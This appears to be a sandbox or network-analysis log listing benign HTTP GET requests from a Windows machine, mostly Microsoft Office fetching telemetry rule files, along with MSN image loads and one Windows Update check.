Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k92Ep6cowWhcr6X&MD=TXH5N2lk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
